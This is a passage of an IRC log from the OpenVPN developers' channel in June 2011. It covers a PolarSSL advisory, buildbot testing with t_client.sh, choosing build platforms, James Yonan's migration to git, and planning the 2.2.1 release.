if I'm not mistaken, but I remember that one 13:29 <+krzie> http://polarssl.org/trac/wiki/SecurityAdvisory201101 13:29 <@vpnHelper> Title: SecurityAdvisory201101 – PolarSSL Trac page (at polarssl.org) 13:31 < andj> It doesn't affect the security model btw, since we're using client certficates 13:32 <+krzie> the certs are as good as the software which handles them 13:33 < andj> yes, I know, just mentioning that the client certificate prevents issues later in the chain with DHM man-in-the-middle 13:37 < andj> So for the OpenVPN use-case it's ok. 13:39 < andj> It's an ugly bug though 13:42 < andj> BTW, have you ever checked how many web sites actually use EDH? It's scary... 13:47 <+krzie> neg 14:15 -!- andj is now known as andj_afk 15:39 <@cron2> krzie: actually, forward-error-correction would be a cool feature to have - on high-latency channels (like GSM) tcp retransmits seriously hurt 15:40 <@cron2> but it's seriously non-trivial to get right :) 16:08 <+krzie> did i miss pasting that it was for voip? 16:08 <+krzie> ahh yes i did 16:08 <+krzie> scared of getting kicked by vpnHelper 16:45 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 241 seconds] 17:01 -!- jamesyonan [~jamesyona@75.148.45.33] has joined #openvpn-devel 17:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:50 -!- jamesyonan [~jamesyona@75.148.45.33] has quit [Quit: jamesyonan] 19:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 19:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Tue Jun 14 2011 00:37 -!- andj_afk is now known as andj 00:47 -!- andj is now known as andj_afk 00:50 -!- andj_afk is now known as andj 00:52 -!- andj is now known as andj_afk 01:39 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 01:43 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 252 seconds] 01:43 -!- jamesyonan_ is now known as jamesyonan 02:01 -!- jamesyonan [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 250 seconds] 04:01 -!- dazol is now known as dazo 04:01 -!- dazo [~dazo@nat/redhat/x-kwrucmnffztdcgul] has quit [Changing host] 04:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:06 <@vpnHelper> RSS Update - testtrac: Added info about --show-proxy-settings <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=54d40afdfa56f38030d7b440cb379abf9c9ddabc> || Fix compiling issues with pkcs11 when --disable-management is configured <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=efcdf594f81a6af34b72285c12bacbce35c14b2d> 04:17 <@vpnHelper> RSS Update - testtrac: Documented --x509-username-field option <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ca8af756c52ab7a4aecb857f60d6124e58458f0a> 06:22 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 06:22 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 06:22 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:42 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:25 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:25 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:31 < kisom> correct me if i'm wrong, but DH is only used for forward secrecy right? so if i do not use DH at my web server all the previous SSL sessions can be decrypted if my private key is compromised... 09:39 <@dazo> kisom: DH is just a big prime number, used during the key exchange of a temporary key between server and client 10:15 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:44 -!- dazo is now known as dazo_afk 11:24 -!- andj_afk is now known as andj 11:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:14 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:02 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has quit [Read error: Connection reset by peer] 16:03 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 16:28 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:47 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 20:51 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:51 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:02 <+ecrist> wtf is mattock 21:02 <+ecrist> note to self: don't change the vlan of the gateway 21:03 <+ecrist> *through which you're connecting to the switch you're configuring --- Day changed Wed Jun 15 2011 00:51 -!- andj is now known as andj_afk 01:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:06 -!- dazo_afk is now known as dazo 03:07 <@dazo> mattock: I see from the scrollback ecrist tried to reach you last night ... 03:08 <@dazo> <ecrist> [15-06 04:02:32] wtf is mattock 03:08 <@dazo> <ecrist> [15-06 04:02:56] note to self: don't change the vlan of the gateway 03:08 <@dazo> <ecrist> [15-06 04:03:14] *through which you're connecting to the switch you're configuring 03:08 <+krzee> moin 03:12 <@mattock> hi guys! 03:13 <@mattock> ecrist: re: vlan: I have no clue of such things, raidzx or patel handle those 05:14 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:25 -!- mattock_ [~mattock@dyn55-11.yok.fi] has joined #openvpn-devel 07:02 <+ecrist> mattock: the vlan stuff wasn't related to you. I was wondering if you were able to push backups my way again, I never heard 07:14 < mattock_> ah, ok 07:14 < mattock_> cron2: I'm not sure if I mentioned but 1 out of 4 tests is now integrated to buildbot 07:15 < mattock_> tomorrow I'll try to fix next 2 07:16 < mattock_> the integration is more complex than I had hoped, but seems to work 07:17 < mattock_> however, to be really useful the t_client.sh script should output results of failed tests to STDOUT/STDERR, so that they are visible in the buildbot ui 07:17 < mattock_> maybe add a parameter for that behavior? 07:22 < mattock_> dazo: james is moving to git and I was thinking that we could help him out a little 07:23 <@dazo> mattock_: Yeah, he sent me an e-mail the other day about that ... and I replied he may bug me as much as he needs 07:23 < mattock_> maybe arrange a time when we'd be here to help him out 07:23 < mattock_> ok, nice! 07:24 <@dazo> but we can sure arrange for some timeslots where james know he can fetch me here on IRC as well 07:27 < mattock_> that'd be good 07:27 < mattock_> I'll try to be here too, even if only as a comic sidekick ;) 07:28 <@dazo> only if you promise to make us laugh! ;-) 07:37 < mattock_> I'll promise to have lots of unfunny one-liners, as any comic sidekick should 09:28 -!- mattock_ [~mattock@dyn55-11.yok.fi] has quit [Quit: Leaving] 09:53 -!- andj_afk is now known as andj 09:56 -!- d457k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:56 -!- mode/#openvpn-devel [+o d457k] by ChanServ 10:24 -!- dazo is now known as dazo_afk 10:39 -!- chantra [~chantra@unaffiliated/chantra] has quit [Remote host closed the connection] 10:43 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:28 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 12:33 <@cron2> matock: great to hear about your success with t_client.sh. 12:33 <@cron2> mattock: what exactly do you want to see there? the full openvpn client log? it's all on file, the script would just need to output it (but it's lengthy, this is why I'm not normally doing it) 12:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 13:12 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 14:18 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 18:53 -!- Netsplit *.net <-> *.split quits: @mattock, +krzie 19:00 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:00 -!- ServerMode/#openvpn-devel [+v krzie] by card.freenode.net 19:07 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 19:08 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:08 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:48 -!- krzii [krzee@hemp.ircpimps.org] has joined #openvpn-devel 19:48 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:15 -!- andj is now known as andj_afk 20:16 -!- andj_afk is now known as andj 21:06 -!- krzii [krzee@hemp.ircpimps.org] has quit [Quit: Leaving] 21:06 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:38 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 21:38 < bystander> good day guys, I would like to ask how I can implement a username and password authentication when I have a icmp tunnel? I know this is not an ovpn question but I dont know where to ask assistance for this one, so I ask here anyway maybe you can extend help 21:39 < bystander> sir jamesyonan, can you please help me even if this is not an ovpn question. 22:03 < bystander> I would like to know how I can apply the same authentication procedure that openvpn do to icmp tunnel 22:06 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] --- Day changed Thu Jun 16 2011 01:08 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 01:08 < bystander> guys how does openvpn reads the username and password for authentication from client to server before finalizing the connection initialization process. 01:13 < bystander> guys how does openvpn reads the username and password for authentication from client to server before finalizing the connection initialization process. 01:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:21 < bystander> EugeneKay can you show me how that was done? 01:21 < bystander> guys how does openvpn reads the username and password for authentication from client to server before finalizing the connection initialization process. 01:41 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] 01:53 -!- dazo_afk is now known as dazo 03:51 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:58 -!- mattock_ [~mattock@dyn55-11.yok.fi] has joined #openvpn-devel 04:37 -!- mattock_ [~mattock@dyn55-11.yok.fi] has quit [Quit: Leaving] 05:36 -!- th0mi [~anonymous@pd95b7a4a.dip0.t-ipconnect.de] has joined #openvpn-devel 05:36 -!- th0mi [~anonymous@pd95b7a4a.dip0.t-ipconnect.de] has left #openvpn-devel [] 07:42 <+ecrist> ping mattock 07:42 <+ecrist> what's the trick to doing a CLI search on the ldap server? 07:43 <@mattock> ecrist: there's no trick... what is failing? 07:43 <@mattock> "su - openldap" maybe? 07:44 <@mattock> I've used ldapsearch as the "openldap" user... there are examples in /README.server I think 07:44 < Dark-Fx> the trick is to use the right CN and DN 07:44 < Dark-Fx> ldap is a pain to remember the cli commands 07:45 <@mattock> ecrist: try this "grep -A 2 ldapsearch /README.server" 07:45 <@mattock> dark-fx: true, that's why I always write the command-lines down somewhere :) 07:59 * dazo wonders why --tls-verify and --ipchange script hooks uses string_substitute() but not the other script hooks 08:00 <@dazo> all it does is just replacing comma with space ... I really wonder why ...... 08:03 <@dazo> [OT] ... The sleep sort algorithm ... http://dis.4chan.org/read/prog/1295544154 :-P 08:03 <@vpnHelper> Title: 4chan BBS - Genius sorting algorithm: Sleep sort (at dis.4chan.org) 08:12 -!- dazo is now known as dazo_afk 08:17 <@mattock> dazo: omg, people are really analyzing and enhancing that sorting algorithm :D 08:19 -!- dazo_afk is now known as dazo 08:28 <@dazo> :D 08:33 <@dazo> "I heartily disagree with all the attempts to downplay the brilliance of the sleep sort algorithm. Many of you have missed the important point that while traditional sorting algorithms can only utilize one core, sleep sort has the capacity to use the full power of a massively parallel execution environment." 08:33 <@dazo> lol! 08:37 <@dazo> gee ... openvpn have support for 32 different file/directory options ... unless I've missed some 09:12 <+ecrist> Dark-Fx: I know the syntax, but this server is configured different than the ones I usually use. 09:13 <+ecrist> mattock: i'll try running my query as the openldap user 09:15 <+ecrist> raar 11:15 -!- chantra [~chantra@unaffiliated/chantra] has quit [Quit: leaving] 11:15 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 11:20 -!- dazo is now known as dazo_afk 11:38 -!- dazo_afk is now known as dazo 11:44 <@mattock> cron2: there? 12:19 <@cron2> yep 12:20 <@cron2> on and off... I'm here, but I'm alone with $child, so I might be away all of a sudden for a few minutes again 12:23 <+krzee> is this michael jackson? 12:23 <+krzee> <g> 12:24 <@dazo> nasty! 12:27 * cron2 reserves a particularily hard to debug bug for krzee 12:28 <+krzee> lol 12:28 * krzee suddenly becomes glad he doesnt use ipv6 12:28 <+krzee> (the new bug would check if the user krzee exists before exploding, lol) 12:29 <@cron2> who said it would be ipv6 related? 12:32 <+krzee> it'll hafta not be 12:32 <+krzee> hehe 12:36 <+krzee> dazo, should i be starting with 2.2.0 when i apply that patch? 12:36 <+krzee> (sry so slow, working too) 12:44 <@dazo> krzee: I believe that could work as well ... it's based on git master, but I don't think that much has happened in options.c 12:52 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:00 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o patelx] by ChanServ 13:01 <@mattock> meeting time ... 13:02 <@mattock> everybody set? 13:02 * dazo is 13:02 <@jamesyonan> hi guys 13:02 <@dazo> hey :) 13:02 * cron2 sits 13:02 <+krzee> im here kinda, lil busy at work 13:03 <@dazo> krzee: you got it wrong ... you are busy at work, because you want to join this meeting ... just look very busy to the people around you ... we won't say anything, I promise! 13:03 <@mattock> ok, topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-06-16 13:03 <@vpnHelper> Title: Topics-2011-06-16 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> cron2: I added something about t_client.sh 13:05 <@mattock> mind if I share that now? 13:05 <@cron2> no 13:06 <@mattock> ok 13:06 <@mattock> so, in a nutshell, everything works, but I need to tidy things up 13:06 <@cron2> cool! 13:06 <@mattock> I had to increase the timeout to 20 secs, probably will increase it to 30 13:06 <@mattock> or the "waiting for connection to be established" delay 13:07 <@mattock> second, more problematic part is how EXCEPT_* stuff is handled 13:07 <@cron2> EXPECT 13:07 <@mattock> yes :) 13:07 <@mattock> in buildbot's parallel test context expecting specific IPs is very problematic 13:07 <@cron2> well, leave it empty then, but you miss test coverage 13:08 <@mattock> would checking for, say, 10.100.50.* defeat the purpose of the whole test? 13:08 <@cron2> yes 13:08 <@cron2> well 13:08 <@cron2> this depends on what you want to see 13:09 <@mattock> it makes my configuration painfully complex for various reasons, so a more relaxed check would be better 13:09 <@mattock> and less prone to breakage 13:09 <@dazo> I've not looked into this script for a very long time ... but I'd probably say that would be enough ... as it is a pushed address, if I'm not mistaken 13:09 <@cron2> you can just put 10.100.50 in there 13:09 <@cron2> it basically does 13:09 <@cron2> if get_ifconfig_route | fgrep "$expect" >/dev/null 13:09 <@mattock> cron2: yes, I tried that, it works 13:09 <@mattock> probably needs a little cleaning up, though, as 10.50.100.* is all over the get_ifconfig_route output (or what was it) 13:10 <@cron2> it really depends on "what do you want to test for?" - if you want to make sure you don't get "just any" address but "what you expect" - be specific. If you just want to make srue that "something from the right network is there", that's fine 13:10 <@mattock> well, I think "getting something" is enough for buildbot... given the savings in complexity 13:10 <@mattock> I won't go into details unless you want to get bored :) 13:11 <@mattock> anyways, I implement the simplified test variant in buildbot 13:11 <@cron2> if you just match for 10.50.100, you'll also match the route - so that's not perfect, but *if* you have the route, at least "something" is working 13:11 <@cron2> combine that with "ping works now!" and it's pretty good already :) 13:12 <@mattock> yeah, my thoughts exactly 13:12 <@mattock> I also cut down the number of buildslaves to 3, with 2 more (scientific linux 6.0, freebsd 8.0) coming up 13:12 <@mattock> to save my server, basically 13:13 <@mattock> also, I'm not sure how beneficial it is to run every possible flavour of Ubuntu/Debian, when they're almost the same OpenVPN-vise anyways 13:13 <@mattock> rather test against platforms that are very different from them 13:14 <@mattock> what do you think? 13:14 <@dazo> agreed ... tbh, I think just compiling on Debian or Ubuntu would cover these two pretty well too ... as I believe they are pretty close to each other 13:15 <@dazo> debian is stable and long-life basically ... while ubuntu is much faster moving target 13:15 <@cron2> I think we need to cover linux/ipconfig and Linux/iproute2, and at least one of the BSDs... 13:16 <@mattock> maybe having a selection of "stable" platforms (e.g. Debian 6, Ubuntu 10.04, RedHat/SL 6.0) and a few faster-moving ones would be useful 13:16 <@mattock> latest Ubuntu, for example 13:16 <@mattock> and of course FreeBSD 13:16 <@dazo> Ubuntu, Fedora, openSuSE ... all of them are more fast moving targets 13:17 <@jamesyonan> I used to have access to an ancient solaris box that was great because it was big endian and had so many weird quirks that it would find bugs that no other platform would show 13:17 <@mattock> oh yes, Fedora, that's coming up once it install on kvm :) 13:17 <@mattock> cron2: do you have any ancient, weird boxes lying around? you had one at some point 13:17 <@cron2> yeah, NetBSD/Sparc64 is great for that "it finds *all* the bugs" 13:17 <@dazo> jamesyonan: you still have that box? or is it gone? 13:17 <@mattock> cron2: would it be possible to build one? 13:18 <@jamesyonan> no not any more -- it wasn't mine -- I just had remote access to it 13:18 <@dazo> ah, okay 13:18 <@dazo> cron2: is it NetBSD or Sparc64 which made it greatest? 13:18 <@cron2> mattock: I have the Solaris/Sparc64 and NetBSD/Sparc64 boxes, but these are production stuff, so I can't give other people access to it 13:19 <@cron2> Sparc64 is the hairy thing - 64 bit and big-endian 13:19 <@cron2> and if you do unaligned word access -> boom, SIGSEGV 13:19 <@dazo> ahh 13:19 <@mattock> cron2: could setup a buildslave to run there? you could run it with limited privileges 13:19 -!- raidzx [~raidz@46-105-63-15.kimsufi.com] has quit [Quit: Leaving] 13:19 <@mattock> I won't guarantee it will be easy, though :) 13:20 <@dazo> or of cron2 would just have a cron script which pulls the code, compiles and pastes the result somewhere public, that would be a good alternative 13:20 <@jamesyonan> testing on ARM might be worthwhile as well 13:20 <@cron2> mattock: it won't be able to test the t_client tests (needs root), and I'm currently reinstalling these boxes, so "yes, in theory, but it will take a bit longer" 13:20 <@dazo> could run every 2-4 week 13:21 <@mattock> jamesyonan: where could we get a ARM server? 13:21 <@cron2> first I actually need to move the Solaris box to FreeBSD 8, because Solaris sucks too much for production use... 13:21 <@dazo> ARM is an interesting platform, due to the cell phone market 13:21 <@cron2> sheevaplug 13:21 <@cron2> debian runs on it... 13:21 <@jamesyonan> aren't those OpenWRT routers also ARM? 13:21 <@mattock> cron2: yep, would be straightforward to setup 13:21 <@mattock> I think so, yes 13:21 <@dazo> some of them, but often MIPS as well 13:21 <@cron2> jamesyonan: some of them, some others are MIPSel 13:22 <@cron2> what he said :) 13:22 <@dazo> :) 13:22 <@mattock> jamesyonan: could you (or somebody in the company) provide an ARM server I could configure for buildbot? 13:23 <@mattock> or some ARM box where I can install Debian/something 13:23 * cron2 won't go into details on OpenWRT and DD-WRT and TomatoWRT and MIPS vs. ARM vs. generic bitrot on *WRT 13:23 <@jamesyonan> I can look into that 13:23 <@mattock> ok, great! 13:23 <@mattock> so, whenever cron2 has time and energy, he'll provide us with the "funkiest platform ever" :) 13:23 <@cron2> mattock: anyway, regarding Sparc64: if you're bored, try installing NetBSD in qemu-sparc, it actually works :-) - and keep pinging me regarding weird stuff 13:24 <@cron2> my Alphas are all broken or have been given away 13:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:24 <@mattock> meanwhile, I'll focus on a select set of buildslaves (Fedora 15, SL 6.0, FreeBSD 8.0) 13:24 <@mattock> + finally finishing the t_client.sh integration in buildbot 13:24 <@mattock> which needs tidying up, but all pieces are in place and working 13:25 <@mattock> cron2: I'll check that out 13:25 <@mattock> ok, next topic? 13:25 <@dazo> yes, please :) 13:25 <@dazo> 2.2.1? 13:25 <@dazo> (should be quick) 13:25 <@mattock> that'd be "James more active participation in the project" 13:25 <@mattock> jamesyonan: any thoughts? 13:25 <@mattock> how much time could you allocate, in what role you'd like to see yourself, etc. 13:27 <@jamesyonan> well the first thing I'm focusing on, in the near term, is migrating to git 13:27 <@jamesyonan> that should be finished within a couple weeks 13:28 <@dazo> great! :) Would you like me to have a time slot available for you where you can hit me with different git challenges? 13:28 <@jamesyonan> next step is to move OpenVPN tech to 2.2 branch 13:28 <@mattock> I can be around, too 13:29 <@mattock> and cron2 can probably share his painful experiences with svn->git transition :D 13:29 <@jamesyonan> that would be great -- I will start the process and if I hit any snags I'll let you know 13:29 <@cron2> not really, as I never really got into liking svn :) 13:30 <@jamesyonan> is it harder than cvs to svn? 13:30 <@cron2> it needs unlearning of established way of "a VCS would do things *this way*" 13:30 <@mattock> I would guess so 13:30 * ecrist still hates git 13:30 * cron2 still doesn't understand git, but likes it very much :) 13:31 <@mattock> I did have some issues with Git, but not too many 13:31 <@dazo> hmmm .... cvs -> git is fairly easy ..... svn -> git is a bit more challenging .... but the working methods are very different 13:31 <@mattock> as cron2 said, changing the mindset is the challenge 13:31 <@dazo> yeah 13:31 <@jamesyonan> what are the criticisms of git? 13:31 < psha> you may still use git like svn - one central repo and pull/push 13:32 < psha> then slowly migrate to native git workflow 13:32 <@mattock> I would say that Git is probably a bit complex for simple scenarios 13:32 <@dazo> Some of the git commands can really be confusing in the beginning 13:32 <@mattock> a cheat sheet will help 13:32 <@cron2> git is too powerful, so "finding the subset that is needed for my own processes" was a bit tricky 13:32 <@jamesyonan> isn't the idea with git that everyone replicates their own repository and then various repository branch/merge functions are provided? 13:33 <@dazo> exactly 13:33 <@mattock> makes scrapping the repository very easy 13:33 <@dazo> and that's the approach we're using now in openvpn.git and openvpn-testing.git 13:33 <@cron2> the idea is "everybody does it in a way that's easiest for them"... and *that* brings necessary decisions "how do I know what's best for me?" 13:34 <@cron2> but we all have dazo to ask what's best for us 13:34 <@dazo> the most important thing in git, in my experiences ... is to understand the difference between rebasing and merge ... and when to use which 13:35 <@dazo> which all narrows down to: "Who is upstream and downstream from where I am?" 13:37 <@mattock> so rebase against upstream, and merge from downstream? 13:37 <@dazo> mattock: correct :) 13:37 <@mattock> then I did it correctly :) 13:37 <@mattock> with my puppet configuration 13:37 <@mattock> huraa 13:38 <@dazo> we don't need to go much more into such details here now ... it's probably better to look at this in detail when there is a situation in front of you 13:38 <@mattock> jamesyonan: keep us posted on your progress 13:38 <@jamesyonan> sure 13:39 <@mattock> do you have any ideas what role you could take in the project? one that would not eat up too much of your own resources? 13:42 <@jamesyonan> I'd like to play more of a role, but obviously it's difficult for me to scale efficiently because of the huge amount of stuff going on at OpenVPN Tech and here in the community as well 13:43 <@mattock> could you manage patch review? 13:43 <@mattock> I feel that's very important also for QA purposes 13:43 <@mattock> to make sure the basis of what our products are built on are in good shape 13:43 <@jamesyonan> But I think that the two issues of (a) migrating to git and (b) getting onto 2.2 will make it a lot easier for me to play more of an active role in the community releases, including patch review, etc. 13:44 <@dazo> right now, it is not too much patches flowing in ... but we would need help to review the PolarSSL patches which is on the way ... which modularises the SSL implementation 13:44 <@mattock> jamesyonan: ok, let's do those first and worry about the rest later 13:44 <@dazo> that makes sense ... get migrated, then move AS to 2.2 13:44 <+krzee> sounds like a nice step twords 3.0! 13:45 <@dazo> krzee: it's a big step forward, but still just one of many :) 13:45 <@mattock> dazo, andj: any news on PolarSSL patchset? 13:45 <@dazo> I just know he said he would post something very soon ... I forgot if it was this or next week 13:45 <@mattock> ok 13:45 <@mattock> next topic? 13:46 <@dazo> sure! 13:46 <@mattock> 2.2.1 release date 13:46 <@mattock> there are a few patches missing, one from me 13:46 <@dazo> I wonder if we should have a look at what's left ... 13:46 <@dazo> http://www.fpaste.org/bwwy/ 13:46 <@dazo> this is what we do have ready for 2.2.1 13:47 <@dazo> https://community.openvpn.net/openvpn/ticket/128 and https://community.openvpn.net/openvpn/ticket/143 should be reviewed properly, and most likely be fixed 13:47 <@vpnHelper> Title: #128 (Connection errors) – OpenVPN Community (at community.openvpn.net) 13:47 <@dazo> I'm not sure about ticket #143 ... if that is really a bug, or just different behaviour than expected 13:47 <@dazo> and then there is this fix from mattock which we do need 13:48 <@mattock> https://community.openvpn.net/openvpn/report/3 13:48 <@vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN Community (at community.openvpn.net) 13:48 <@mattock> milestone 2.2.1 13:48 <@dazo> ticket #127 is also targeted for 2.2.1, but that is by no means critical ... that can go in any later release 13:49 <@mattock> dazo: release next Friday? 13:49 <@mattock> I can sure get my bug fixed, it's trivial 13:49 <@mattock> I assume there are no TAP-driver changes? 13:49 <@dazo> I doubt we can manage to have #128 and #143 fixed by that time 13:50 <@dazo> not heard about any need for a new WinTAP driver 13:50 <@dazo> #128 is pretty hefty to fix by the way 13:51 <@cron2> mattock: haven't heard anything regarding the new TAP driver (and this is good news :) ) 13:51 <@dazo> (it's been discussed a few times, and I haven't had time to look into it, as it requires a lot) 13:51 <@dazo> (#128, that is) 13:51 <@mattock> is it necessary for 2.2.1? 13:51 <@mattock> or, is it worth to postpone 2.2.1 because of it? 13:52 <@mattock> especially if "This is a well known and long-term bug in OpenVPN" 13:52 <@dazo> well, it might not be 2.2.1 critical ... but when I look at what we have fixed, and the last outstanding issues ... it's kind of just small stuff we're fixing 13:52 <@dazo> which of course is good ... its just, should we try to put a little bit more into the 2.2.1 release? 13:52 <@mattock> the build-ca broken is kind of big, even if it's trivial 13:53 <@mattock> ...to fix 13:53 <@dazo> yeah, build-ca is the most critical one of all 13:53 <@mattock> I think we should push out 2.2.1 a.s.a.p... we can always make more point releases 13:54 <@cron2> +1 13:54 <+krzee> i see nothing wrong with releasing earlier with trivial bugfixes and waiting for 2.2.2 for more 13:54 <+krzee> +1 13:54 <@mattock> ok, that's settled then 13:54 <@mattock> next Friday? 13:54 <@dazo> okay, then I'll just await mattock patch and move the other things to a next release 13:54 <@dazo> that's definitely doable then 13:54 <@mattock> jamesyonan: could you have signatures for 2.2.1 packages by next Friday? 13:54 * cron2 won't be here next week, but isn't needed anyway 13:54 <@dazo> if I get the patch tomorrow or so 13:55 <+krzee> damn i only have 1 more hour at work, and my internet at home is out, gunna put work on hold and try to test that patch 13:55 <@jamesyonan> sure 13:55 <+krzee> (dont tell my boss!) 13:55 <@mattock> dazo: ok, I can send it to the list tomorrow morning 13:55 <@dazo> krzee: that's the spirit! 13:55 <@mattock> krzee: you mean the build-ca patch? 13:55 <@dazo> mattock: perfect! 13:56 <@mattock> next topic? 13:56 <@mattock> "tmp/winbuildfix branch - how to move forward, what's blocking?" 13:56 <+krzee> mattock, no, patch for trac tik #73 13:56 <@mattock> I haven't tried it lately 13:56 <@mattock> krzee: ok 13:57 <@dazo> mattock: I tried to do a cross build on Linux ... which is closer to MinGW/msys builds in Windows .... and that's pretty nasty now 13:57 <@cron2> mattock: what's nasty? 13:57 <@dazo> -#include <NtDDNdis.h> 13:57 <@dazo> +#include <ntddnsdis.h> 13:58 <@dazo> such kind of stuff ... it struggles with some other include files as well, for IPv6 structs 13:58 <+krzee> oh that reminds me... what would you guys think of us offering openwrt-style openvpn binary on downloads page? 13:58 <@cron2> dazo: I think that should be the only one - everything else worked on mingw before 13:58 <+krzee> since those linux router users are *always* on old versions based on availability 13:58 <@dazo> cron2: yeah, it's JJO's patches which kind of makes it tricky 13:58 <@cron2> krzee: there is openvpn-devel in openwrt packages 13:59 <@dazo> krzee: well, the tricky stuff is also that openwrt is on pretty many architectures ... so that's another challenge 13:59 <+krzee> ahh i see 14:00 <@cron2> and indeed, we do not want to go into building 50+ different packages 14:00 <@mattock> cron2: +1 14:00 <@dazo> I think keeping an eye on the openwrt repositories, and make sure openvpn-devel and openvpn is a safe path to walk 14:00 <@dazo> is *in*, is 14:00 <+krzee> yep i agree 14:00 <@cron2> I'll go and push for an update to 2.2.1 and "-current" after 2.2.1 release 14:01 <@dazo> thx! 14:01 <@mattock> anyways, regarding wintmpbuild (or whatever it is)... I'll try it again after 2.2.1 release 14:01 <@cron2> ok 14:01 <@dazo> sounds good! 14:01 <@mattock> so that we can start releasing Windows snapshot builds 14:01 <@mattock> can we do something about the MinGW build issues? 14:02 <@dazo> I'd love to help ... but I begin to have too much on my plate now, so I know I do need to start focusing on the platforms I have handy 14:03 <@mattock> dazo: good idea 14:03 <@mattock> cron2: anybody else got a MinGW build environment handy? 14:03 <@mattock> I probably won't have time to play with it, either 14:04 <@mattock> my plate is getting full, too 14:04 * cron2 has enough diapers to keep him busy 14:04 <@mattock> lol :D 14:04 <@mattock> maybe let MinGW slip, and see when somebody complains? 14:04 <@mattock> and if nobody does, then nobody misses it? 14:05 <@dazo> I'm pretty sure Alon will complain rather quickly 14:05 <@mattock> doesn't he cross-compile on *NIX? 14:05 <@mattock> or is that affected, too? 14:05 <@dazo> yes, he does ... but I'd expect the same issues there as well 14:05 <@mattock> ok 14:05 * cron2 builds win+ipv6 on mingw 14:05 <@mattock> cron2: caught! 14:06 <@dazo> native windows 